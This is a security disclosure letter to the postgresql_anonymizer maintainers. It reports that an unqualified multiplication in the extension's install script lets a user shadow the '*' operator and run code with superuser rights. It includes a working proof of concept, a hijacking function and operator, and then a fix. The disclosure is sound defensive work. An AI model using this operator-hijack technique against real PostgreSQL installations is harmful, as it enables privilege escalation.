Privilege escalation vulnerability in "Anon" / postgresql_anonymizer

Hello,

I wanted to make you aware of a security issue that I recently discovered in your postgres extension "anon" or postgresql_anonymizer. The issue is located in the "random.sql" (https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/latest/sql/random.sql?ref_type=heads) file, which is used / executed when installing the "anon" extension.

The second query executed there is:

SELECT pg_catalog.setval('anon.random_id_seq', (9223372036854775807*pg_catalog.random())::BIGINT);

This seems harmless at first glance, but there's actually a hidden privilege escalation vulnerability here. Since "anon" is installed as "superuser" extension it means that this part is executed under "superuser" privileges. Now some cloud providers offering this extension even consider "anon" as trusted, meaning non-superusers can install it.

To demonstrate this, take a look at the following code:

SET search_path = public,pg_catalog;

CREATE OR REPLACE FUNCTION public.multiply(a bigint, b double precision)
RETURNS bigint AS $$
BEGIN
  RAISE WARNING 'multiply executed by = %', current_user;
  RETURN a OPERATOR(pg_catalog.*) b;
END;
$$ LANGUAGE plpgsql;

DROP OPERATOR IF EXISTS public.*(bigint, double precision);
CREATE OPERATOR public.* (
  LEFTARG = bigint,
  RIGHTARG = double precision,
  PROCEDURE = public.multiply
);

DROP EXTENSION IF EXISTS anon;
CREATE EXTENSION anon;

When running this code, the initial setter for "random_id_seq" will using the shadow ("hijacked") multiply operator (*) instead. To fix this use the explicit pg_catalog version via:

SELECT pg_catalog.setval('anon.random_id_seq', (9223372036854775807 OPERATOR(pg_catalog.*) pg_catalog.random())::BIGINT);